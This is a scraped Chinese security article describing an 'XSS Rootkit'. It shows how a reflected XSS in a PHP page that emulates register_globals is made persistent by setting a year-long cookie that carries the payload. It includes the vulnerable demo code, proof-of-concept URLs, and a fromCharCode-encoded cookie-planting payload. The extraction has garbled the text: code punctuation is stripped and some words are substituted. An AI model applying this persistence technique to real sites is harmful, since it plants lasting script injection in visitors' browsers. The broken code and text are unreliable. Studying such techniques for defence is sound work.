还剩2页未读,继续阅读
文本内容:
深掘XSS漏洞场景之XSSRootkit脚本平安电脑资料EMail:rayh4c#80sec.Site:.80sec.Date:xx-10-130×00前言众所周知XSS漏洞的风险定义一直比拟模糊,XSS漏洞属于高危漏洞还是低风险漏洞一直以来都有所争议,
1.非持久型XSS漏洞一般存在于URL参数中,需要访问构造好的特定URL才能触发漏洞
2.持久型XSS漏洞一般存在于富文本等交互功能,如发帖留言等,可以用XSS内容经正常功能进入数据库持久保存一般持久型XSS漏洞比非持久型XSS漏洞风险等级高,从漏洞的本质上来说这是没错的,但漏洞的利用仍然需要看场景,有时候更深入的看待场景能够挖掘出意想不到的东西,大家接着往下看0×01漏洞场景解析首先我给出一段PHP的XSS漏洞的简单代码demo.php————————————————————-foreachArrayGETPOSTCOOKIEas$request{foreach$$requestas$k=$v${$k}=$v;}<ahref=”<echo$SERVER[PHPSELF];i=<echo$id;”分页</a———————————————————————这段PHP代码中模拟registerglobals是Web程序中常见的,代码中输出了网页的分页链接这个也是常见的,因为忽略了对传入数据的效验,更产生了最常见的XSS漏洞下面是这个XSS漏洞的验证方法
127.
0.
0.1/demo.phpid=1″<script.alert1</script.GET方法在id参数中传入HTML内容,导致网页内容中的herf闭合,执行script标签里的脚本内容<ahref=”/demo.phpid=1″<script.alert1</script.”分页</a这是一个典型的非持久型XSS漏洞,在常规的思维逻辑下,这个漏洞到这里基本就打止了,本文也马上要变为普通的科普文了,然而事实并没有那么简单,这个漏洞场景再深入挖掘,就牵出了本文的重头戏0×02XSSRootkit实现方法.2cto.我们知道现今流行的PHPWeb程序的核心代码第一件事便是模拟registerglobals,通过GPC直接变量方便整个程序的运作所以本文的重点来了,在这个场景下,我们的demo.php不仅可以GET传参,还能接受COOKIE的数据,而COOKIE是客户端浏览器的持久化数据,如果通过XSS漏洞设置COOKIE,我们完全可以把这个典型的非持久型XSS漏洞变成持久的,说到这里大家一定非常兴奋了,我就来实际测试一下先写出一段设置cookie的javascript代码Persistencedata=’”<script.alert/xss/</script.’;vardate=newDate;varexpireDays=365;//设置COOKIE一年后失效date.setTimedate.getTime+expireDays*24*3600*1000;document.cookie=’id=’+Persistencedata+’;expires=’+date.toGMTString;//设置cookie的id参数值为XSS代码把设置COOKIE的javascript代码编码一次,放入XSSURL中,这样防止GPC和不同浏览器编码的情况,然后我们访问下面的URL,
127.
0.
0.1/demo.phpid=1″<script.evalString.fromCharCode801011141151051151161011109910195100971169761393462601159911410511211662971081011141164047120115115474160471159911410511211662395913101189711432100971161016111010111932689711610140415913101189711432101120112105114101689712111561515453591310100971161014611510111684105109101401009711610146103101116841051091014041431011201121051141016897121115425052425154484842494848484159131010011199117109101110116469911111110710510161391051006139438010111411510511511610111099101951009711697433959101120112105114101115613943100971161014611611171778483116114105110103404159</script.结果令人非常满意,由于模拟registerglobals的变量顺序是GPC,当然程序员模拟registerglobals的变量顺序不同也会影响这个效果,由于COOKIE的变量总是最后生效的,所以我们关闭浏览器无论是访问
127.
0.
0.1/demo.php还是访问
127.
0.
0.1/demo.phpid=1,我们的XSS代码都会生效,同时如果客户端未清理COOKIE,这个XSS漏洞将有效一年的时间,一个不起眼的低风险漏洞立马转变为一个令人如此兴奋的XSSRootkit0×03后话一些web漏洞扫描器中提示非持久型XSS漏洞标为高危漏洞,普遍存在争议的情况,可以根据本文做参考,对场景再深入挖掘,那么本文的目的也就到达了至此我们用非持久型XSS漏洞完成了一次到XSSRootkit的转变,再一次揭示了漏洞的场景有多么重要,深掘漏洞场景完成一次本质的升华是多么美妙的事情模板内容仅供参考 。